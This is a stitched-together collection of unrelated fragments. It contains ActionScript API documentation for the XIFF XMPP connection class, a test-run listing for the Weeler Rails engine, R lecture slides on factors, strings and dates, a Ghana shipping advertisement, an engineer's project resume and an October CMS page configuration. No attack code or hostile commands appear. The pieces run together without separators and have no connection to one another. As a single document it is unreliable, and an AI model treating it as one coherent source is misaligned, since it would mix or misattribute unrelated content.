public function sendRegistrationFields(fieldMap:Object, key:String):void
Registers a new account with the server, sending the registration data as specified in the fieldMap
ParametersfieldMap:Object — An object map containing the data to use for registration. The map should be composed of
attribute:value pairs for each registration data item.
|
|
key:String — (Optional) If a key was passed in the "data" field of the "registrationFields" event,
that key must also be passed here.
required field needed for registration.
|
| sendXML | () | method |
protected function sendXML(someData:*):void
Data is untyped because it could be a string or XML. TODO: Accept only XML.
ParameterssomeData:* |
| socketClosed | () | method |
protected function socketClosed(event:Event):void
Parameters
event:Event |
| socketConnected | () | method |
protected function socketConnected(event:Event):void
Parameters
event:Event |
| socketDataReceived | () | method |
protected function socketDataReceived(event:ProgressEvent):void
Parameters
event:ProgressEvent |
| changePasswordSuccess | event |
org.igniterealtime.xiff.events.ChangePasswordSuccessEvent
Dispatched when a password change is successful.
| connection | event |
org.igniterealtime.xiff.events.ConnectionSuccessEvent
Dispatched when the connection is successfully made to the server.
| disconnection | event |
org.igniterealtime.xiff.events.DisconnectionEvent
Dispatched when there is a disconnection from the server.
| error | event |
org.igniterealtime.xiff.events.XIFFErrorEvent
Dispatched when there is some type of XMPP error.
| incomingData | event |
org.igniterealtime.xiff.events.IncomingDataEvent
Dispatched whenever there is incoming XML data.
| login | event |
org.igniterealtime.xiff.events.LoginEvent
Dispatched on successful authentication (login) with the server.
| message | event |
| outgoingData | event |
org.igniterealtime.xiff.events.OutgoingDataEvent
Dispatched whenever data is sent to the server.
| presence | event |
org.igniterealtime.xiff.events.PresenceEvent
Dispatched on incoming presence data.
| registrationSuccess | event |
org.igniterealtime.xiff.events.RegistrationSuccessEvent
Dispatched on when new user account registration is successful.
| STREAM_TYPE_FLASH | constant |
public static const STREAM_TYPE_FLASH:uint = 2
Stream type lets user set opening/closing tag.
<flash:stream>
| STREAM_TYPE_FLASH_TERMINATED | constant |
public static const STREAM_TYPE_FLASH_TERMINATED:uint = 3
Stream type lets user set opening/closing tag.
<flash:stream />
| STREAM_TYPE_STANDARD | constant |
public static const STREAM_TYPE_STANDARD:uint = 0
Stream type lets user set opening/closing tag.
<stream:stream>
| STREAM_TYPE_STANDARD_TERMINATED | constant |
public static const STREAM_TYPE_STANDARD_TERMINATED:uint = 1
Stream type lets user set opening/closing tag.
<stream:stream />


--- layout: base --- {{ content }} {% include inputs/lzss.html %} {% include inputs/lzss_encode.html %}
Output:


- Weeler::ActionController::Acts::Restful
- permited title with array
- model
- returns current controller model0.04931s
- actions
- POST #order0.04659s
- POST #create
- redirects to edit path0.02378s
- sets only permited params0.02476s
- GET #index
- returns success0.02457s
- assigns posts0.02244s
- GET #edit
- returns success status0.04046s
- DELETE #destroy
- destroys item0.03859s
- PUT #update
- sets only permited params0.02333s
- GET #new
- returns success status0.02536s
- POST #create
- sets only permited params0.02868s
- POST #create
- sets only permited params0.02906s
- warns developer0.02857s
- GET #index
- users order by for ordering0.02369s
- Weeler::ActionView::Helpers::FormHelper
- image_upload_field
- create file field0.03198s
- creates img preview tag0.01210s
- creates a label0.01299s
- I18n::Backend::Weeler::Importer
- empty db
- translation stores all translation in each locale0.19230s
- returns nil if value is not file0.12812s
- returns value if value is in file0.14954s
- full db
- file import overrides value0.16266s
- Weeler::ActionView::Helpers::TranslationHelper
- translate
- dont renders key0.01503s
- #<ActionDispatch::Routing::RouteSet:0x007fec696bc418>
- #mount Weeler::Engine
- /weeler returns home0.04650s
- #weeler_resources
- mounts resource create route0.04815s
- mounts resource new route0.05438s
- mounts resources index route0.04228s
- mounts resource update route0.04301s
- mounts resource edit route0.04949s
- mounts resource show route0.04889s
- mounts resource destroy route0.04338s
- when destroy route is skiped within with only: option
- does not mount destroy confirm route0.06783s
- when custom block given
- calls it within resources method0.07164s
- #add_menu_item
- adds resource to weeler menu item0.03331s
- I18n::Backend::Weeler::Exporter
- all translations
- should have 3 rows0.00957s
- other row with one translation0.00745s
- first row should be title0.00688s
- other row with two translation0.00651s
- selected translations
- should have 2 rows0.01150s
- other row with one translation0.00803s
- first row should be title0.00699s
- #available_locales
- finds one locale0.00720s
- #reload_cache
- clears translations cache0.01688s
- loads all translated data to cache0.01732s
- writes last translations update timestamp to cache0.01409s
- groups
- returns 2 groups0.01101s
- returns ordered list0.00833s
- #value
- returns boolean if translation boolean0.01859s
- runs kernel if translation is_proc0.01242s
- #interpolations
- can persist0.01358s
- #store_translations
- store_translations does not allow ambiguous keys (1)0.02871s
- can store translations with keys that are translations containing special chars0.01382s
- store_translations does not allow ambiguous keys (2)0.03109s
- #html?
- is true if key is html0.01106s
- is false if value not contains html0.01613s
- is true if value contains html0.00706s
- #lookup
- show warning0.00745s
- returns translation0.01380s
- differs from settings timestamp
- reloads cache0.01795s
- is same as updates timestamp
- does not reload cache0.01303s
- missing translations
- creates a stub when a custom separator is used and the key contains the flatten separator (a dot character)0.02078s
- lookup does not persist the key twice0.01567s
- lookup persists interpolation keys when looked up directly0.01692s
- creates a stub when a custom separator is used0.01986s
- persists the key0.01581s
- creates one stub per pluralization0.02406s
- creates a stub per pluralization when a custom separator is used0.02396s
- creates no stub for base key in pluralization0.02071s
- new translation
- persist it0.01549s
- already stored
- saves the fallback backend value0.02167s
- I18n::Backend::Weeler::Dedupe
- empty db
- translation stores all translation in each locale0.08389s
- I18n::HumanizeMissingTranslations
- when exception is I18n::MissingTranslation
- humanizes missing translations0.01490s
- when exception is not I18n::MissingTranslation
- does not intercept it0.01332s
- Weeler::TranslationsController
- GET #export
- retursns translation file0.04697s
- #create
- creates translation in DB0.05520s
- doesnt create a duplicate key0.09519s
- PUT #update
- update translation in DB0.06482s
- dont updates if key is empty0.07503s
- DELETE #destroy
- destroys translation0.05855s
- GET #index
- list translations0.05090s
- GET #new
- retern new translation form0.04325s
- submiting a file
- adds translation from files0.19162s
- no file
- redirects back0.03284s
- GET #edit
- retern edit translation form0.05506s


class: center, middle, inverse, title-slide # Special Data Types ### Stat 331 --- --- class: center, middle # Setup Find your R Markdown file where you cleaned the dataset `colleges.csv` and rerun your code to create `colleges_clean`. Alternatively, start a new R Markdown file, and load in the dataset `colleges_clean.csv`, which is posted on Canvas. --- class: center, middle # Factors  --- # Factors Common tasks: * Turn a `character` or `numeric` into a factor * Make a factor by "binning" a numeric variable * Rename or reorder the `levels` of a factor The packages `forcats` ("for categoricals") gives nice shortcuts for manipulating categorical variables. (`forcats` loads with the `tidyverse`) --- # Turn to factor ```r x <- c("apple", "dog", "banana", "cat", "banana", "Queen Elizabeth", "dog") x ``` ``` ## [1] "apple" "dog" "banana" "cat" ## [5] "banana" "Queen Elizabeth" "dog" ``` ```r x <- factor(x) x ``` ``` ## [1] apple dog banana cat ## [5] banana Queen Elizabeth dog ## Levels: apple banana cat dog Queen Elizabeth ``` --- # Recoding ```r x <- fct_recode(x, fruit = "apple", fruit = "banana", pet = "dog", pet ="cat") x ``` ``` ## [1] fruit pet fruit pet ## [5] fruit Queen Elizabeth pet ## Levels: fruit pet Queen Elizabeth ``` --- # `case_when()` A catchall shortcut for making categorical variables is `case_when`. ```r iris %>% mutate( Flower.Size = case_when( Sepal.Length < 5 ~ "Small", Sepal.Length > 6 ~ "Large", TRUE ~ "Medium" ) ) %>% select(Sepal.Length, Flower.Size) ``` ``` ## Sepal.Length Flower.Size ## 1 5.1 Medium ## 2 4.9 Small ## 3 4.7 Small ## 4 4.6 Small ## 5 5.0 Medium ## 6 5.4 Medium ## 7 4.6 Small ## 8 5.0 Medium ## 9 4.4 Small ## 10 4.9 Small ## 11 5.4 Medium ## 12 4.8 Small ## 13 4.8 Small ## 14 4.3 Small ## 15 5.8 Medium ## 16 5.7 Medium ## 17 5.4 Medium ## 18 5.1 Medium ## 19 5.7 Medium ## 20 5.1 Medium ## 21 5.4 Medium ## 22 5.1 Medium ## 23 4.6 Small ## 24 5.1 Medium ## 25 4.8 Small ## 26 5.0 Medium ## 27 5.0 Medium ## 28 5.2 Medium ## 29 5.2 Medium ## 30 4.7 Small ## 31 4.8 Small ## 32 5.4 Medium ## 33 5.2 Medium ## 34 5.5 Medium ## 35 4.9 Small ## 36 5.0 Medium ## 37 5.5 Medium ## 38 4.9 Small ## 39 4.4 Small ## 40 5.1 Medium ## 41 5.0 Medium ## 42 4.5 Small ## 43 4.4 Small ## 44 5.0 Medium ## 45 5.1 Medium ## 46 4.8 Small ## 47 5.1 Medium ## 48 4.6 Small ## 49 5.3 Medium ## 50 5.0 Medium ## 51 7.0 Large ## 52 6.4 Large ## 53 6.9 Large ## 54 5.5 Medium ## 55 6.5 Large ## 56 5.7 Medium ## 57 6.3 Large ## 58 4.9 Small ## 59 6.6 Large ## 60 5.2 Medium ## 61 5.0 Medium ## 62 5.9 Medium ## 63 6.0 Medium ## 64 6.1 Large ## 65 5.6 Medium ## 66 6.7 Large ## 67 5.6 Medium ## 68 5.8 Medium ## 69 6.2 Large ## 70 5.6 Medium ## 71 5.9 Medium ## 72 6.1 Large ## 73 6.3 Large ## 74 6.1 Large ## 75 6.4 Large ## 76 6.6 Large ## 77 6.8 Large ## 78 6.7 Large ## 79 6.0 Medium ## 80 5.7 Medium ## 81 5.5 Medium ## 82 5.5 Medium ## 83 5.8 Medium ## 84 6.0 Medium ## 85 5.4 Medium ## 86 6.0 Medium ## 87 6.7 Large ## 88 6.3 Large ## 89 5.6 Medium ## 90 5.5 Medium ## 91 5.5 Medium ## 92 6.1 Large ## 93 5.8 Medium ## 94 5.0 Medium ## 95 5.6 Medium ## 96 5.7 Medium ## 97 5.7 Medium ## 98 6.2 Large ## 99 5.1 Medium ## 100 5.7 Medium ## 101 6.3 Large ## 102 5.8 Medium ## 103 7.1 Large ## 104 6.3 Large ## 105 6.5 Large ## 106 7.6 Large ## 107 4.9 Small ## 108 7.3 Large ## 109 6.7 Large ## 110 7.2 Large ## 111 6.5 Large ## 112 6.4 Large ## 113 6.8 Large ## 114 5.7 Medium ## 115 5.8 Medium ## 116 6.4 Large ## 117 6.5 Large ## 118 7.7 Large ## 119 7.7 Large ## 120 6.0 Medium ## 121 6.9 Large ## 122 5.6 Medium ## 123 7.7 Large ## 124 6.3 Large ## 125 6.7 Large ## 126 7.2 Large ## 127 6.2 Large ## 128 6.1 Large ## 129 6.4 Large ## 130 7.2 Large ## 131 7.4 Large ## 132 7.9 Large ## 133 6.4 Large ## 134 6.3 Large ## 135 6.1 Large ## 136 7.7 Large ## 137 6.3 Large ## 138 6.4 Large ## 139 6.0 Medium ## 140 6.9 Large ## 141 6.7 Large ## 142 6.9 Large ## 143 5.8 Medium ## 144 6.8 Large ## 145 6.7 Large ## 146 6.7 Large ## 147 6.3 Large ## 148 6.5 Large ## 149 6.2 Large ## 150 5.9 Medium ``` --- # Try the following. What did it do? ```r colleges_clean <- colleges_clean %>% mutate( CONTROL = factor(CONTROL), Type = fct_recode(CONTROL, Public = "1", Private = "2") ) ``` --- # Forcats We will not practice every single function in the `forcats` package. Find the `forcats` "cheatsheet" at https://resources.rstudio.com/rstudio-developed/factors Use it to answer the following (in the Google doc!): * What is the difference between `fct_relevel()` and `fct_recode()`? * What is the difference between `fct_collapse()` and `fct_lump()`? * What is the difference between `fct_reorder()` and `fct_inorder()`?  Don't confuse a **string** (many characters, one object) with a **character vector** (vector of strings) ```r my_string <- "Hi, my name is Kelly!" my_vector <- c("Hi", "my", "name", "is", "Kelly") my_string ``` ``` ## [1] "Hi, my name is Kelly!" ``` ```r my_vector ``` ``` ## [1] "Hi" "my" "name" "is" "Kelly" ``` --- # Strings Common tasks: * Find which strings contain a particular pattern * Remove or replace a pattern * Edit a string (for example, make it lowercase) The packages `stringr` is very useful for strings! (`stringr` loads with the `tidyverse`) --- # Find patterns ```r my_vector <- c("Hi there", "my name is", "Kelly Bodwin") str_detect(my_vector, "Kelly") ``` ``` ## [1] FALSE FALSE TRUE ``` ```r str_locate(my_vector, "Kelly") ``` ``` ## start end ## [1,] NA NA ## [2,] NA NA ## [3,] 1 5 ``` ```r str_extract(my_vector, "Kelly") ``` ``` ## [1] NA NA "Kelly" ``` ```r str_subset(my_vector, "Kelly") ``` ``` ## [1] "Kelly Bodwin" ``` --- # Replace/Remove patterns ```r my_vector <- c("Hi there", "my name is", "Kelly Bodwin") str_remove(my_vector, "Kelly") ``` ``` ## [1] "Hi there" "my name is" " Bodwin" ``` ```r str_replace(my_vector, "Kelly", replacement = "George") ``` ``` ## [1] "Hi there" "my name is" "George Bodwin" ``` --- # Make edits ```r my_string <- "Hi, my name is Kelly!" str_to_lower(my_string) ``` ``` ## [1] "hi, my name is kelly!" ``` ```r str_to_upper(my_string) ``` ``` ## [1] "HI, MY NAME IS KELLY!" ``` --- # Your Turn Using your `colleges_clean` dataset... * How exactly does Cal Poly's name appear in this dataset? * **(hard!)** How many colleges have the word "University" in their name? * **(harder!)** What is Harvard's out of state tuition? Hint: Remember that the `str_*` functions need the first argument to be a **vector of strings**, not a **dataset**. You might want to use them *inside* functions like `filter` or `mutate` --- # More stringr Refer to the `stringr` cheatsheet: https://stringr.tidyverse.org/ * What is the difference between `str_detect()` and `str_match()`? * What is the difference between `length()` and `str_length()`? * What is the difference between `str_replace()` and `str_replace_all()`? --- class: center, middle # Dates  --- # Dates Common tasks: * Convert a date-like variable ("April 2, 1989") to a special DateTime Object. * Find the weekday, month, year, etc from a DateTime object * Convert between timezones -- The package `lubridate` is **AMAZING** for this. If you work with dates often, please explore the functions - we are happy to help you after the workshop! (`lubridate` does **NOT** load with the `tidyverse`) --- # lubridate Reference the `lubridate` cheatsheet: https://evoldyn.gitlab.io/evomics-2018/ref-sheets/R_lubridate.pdf Answer the following using code (even if you know the answer already). 1. Save your birthday as a Datetime object in R. 2. What day of the week does/did your birthday fall on in 2020? 3. On what day of the week should you plan your 100th birthday party? 4. Find the date that is exactly 9 months before your birthday. If it falls on a holiday, think about the implications. --- # Zodiac The dataset `zodiac.csv ` on Canvas gives the date ranges for the 12 Zodiac signs. By making appropriate adjustments and calculations, find your Zodiac sign. ---


Buy items from the UK, US and China and ship to our overseas warehouses
We ship your items from our warehouse to Ghana
Pay us when we deliver your items to your doorstep
"This is fantastic! Thanks so much guys!"
"Procureswift is amazing. I've been using it to ship all our agric products."
"Thanks so much for opening up the world to us!"


A passionate Instrumentation engineer & system designer, I am currently pursuing a Masters in Embedded Systems at University of Pennsylvania.
- Android
- C/C++
- Distributed systems
- Java
- MatLab
- Operating Systems
- Python
- RF technology
A passionate Instrumentation engineer & system designer, I am currently pursuing a Masters in Embedded Systems at University of Pennsylvania.
An IoT device that automates the tracking and inventory management of Pumped Breast Milk at Neonatal ICU. Patent filed on 8th June 2016, application Number 62/347,321
The team designed and built a system that detects the panic situation in passengers and/or driver and a decision for activation of emergency automatic braking taken by the ECU (Electronic Control Unit) according to the set parameters.
The tedious task of locating the right key amongst a bunch of keys and duplicating the key when lost for a given lock is simplified significantly.
Developed an HTTP server that runs Java servlets for static content and emulate a full-fledged application server that runs servlets for dynamic Web applications.
Designed a reliable, dynamic, multithreaded UDP based distributed chat system in C++ using Socket API allowing arbitrary size groups to send and receive message in real time. Features like leader election, encrypted chat messages, totally ordered messages, zero duplication were implemented.
Wrote a Java program to simulate in-order and out-of-order pipeline; incorporated branch predictors, maintained cache coherency of instructions and data cache at L1 level and analyzed the performance of the pipeline.
Built backend to acquire and store data locally onto a secure database-SQL, python; UI mocking the patient monitoring system-HTML, CSS, python and flask; applied temperature compensation technique on load cell to achieve an accuracy of +/- 1cc; RF based login system.
Designed a formally-verified model for DDD mode pacemaker on UPPAAL. Implemented a real-time interrupt-driven pacemaker by synthesizing code as per UPPAAL model on mbed platform. Formulated test and assurance cases of the design, model, implementation and evidence of the verification.
Designed a software application on Ionic which runs seamlessly on all platforms, that provides the user a real time inventory status of all the food item in personal space using optical character recognition; built backend using python and flask.
Planning a custom virtual environment with an kinesthetic haptic interface, by considering factors like gravity compensation, trajectory tracking etc.
Solving for the inverse kinematics of the PUMA robot and programming it to draw a desired picture and capturing it by taking a long-exposure photograph.
Android application that provides information about your favorite food truck using Android studio, Java.
An assistive kit for children with Autism by sensing emotions through interactive games, to learn pattern and prognosis using MatLab.
Built a Morse code decoder using polling and interrupts on an input switch using Atmega328 and Atmel Studio and output the results on LEDs connected to output pins, and write diagnostic information to the serial port.
Generate DTMF waveforms using real-time interrupts, interfacing the keypad to Atmega 328, and using the output compare interrupts and the PWM subsystem and coded Atmega328 over Atmel studio.
Used two sensor inputs to capture the positions of each of the hands -- an ultrasonic rangefinder and a light sensor. The positions reported by these sensors are used to synthesize tones of varying amplitude and frequency. Theremin built using using input capture, output compare, PWM generation, ADCs for sensor input, DACs for driving the actuator, Atmega 328 and Atmel studio.
A smart stick to assist a visually challenged allowing the user to be independent when travelling alone as he/she is confronted by issues such as being unaware of the directions, turns and intersection, state of the traffic signal light or presence of an obstacle in the path.
An implementation of a platform independent embedded web server and its integration into a network of wireless sensor nodes. The embedded web server is designed and built as an expansion module for one of the nodes in the wireless sensor network (WSN).


After finalize the analysis of the selected text, or after open a result file previously analyzed, the user can print the result. The printed text is the one that has been established as "Advanced results".


title = "ICT Platform List" url = "/ict-platform/:title" layout = "master" description = "Our Infrastructure Services are the result of a significant expertise grown over many years, enhanced by our strategic alliance with world leading technology companies." is_hidden = 0 robot_index = "index" robot_follow = "follow" child_of = "ict-platform" hide_crumb = 0 remove_crumb_trail = 0 crumb_disabled = 0 [viewBag] localeUrl[id] = "/ict-platform-list" [breadcrumbs] main-ol-class = "breadcrumb container" active-class = "active" disabled-class = "disabled" [builderDetails] modelClass = "Agit\AgitPost\Models\Post" identifierValue = "{{ :title }}" modelKeyColumn = "title" displayColumn = "title" notFoundMessage = "Record not found" [builderList] modelClass = "Agit\AgitPost\Models\BusinessSolution" scope = "-" displayColumn = "title" noRecordsMessage = "No records found" detailsPage = "ict-platform-detail" detailsKeyColumn = "title" detailsUrlParameter = "title" pageNumber = "{{ :page }}" [siteSearchInclude] == {% partial 'site/title' %} {% component 'siteSearchInclude' %} {% set record = builderDetails.record %} {% set displayColumn = builderDetails.displayColumn %} {% set notFoundMessage = builderDetails.notFoundMessage %}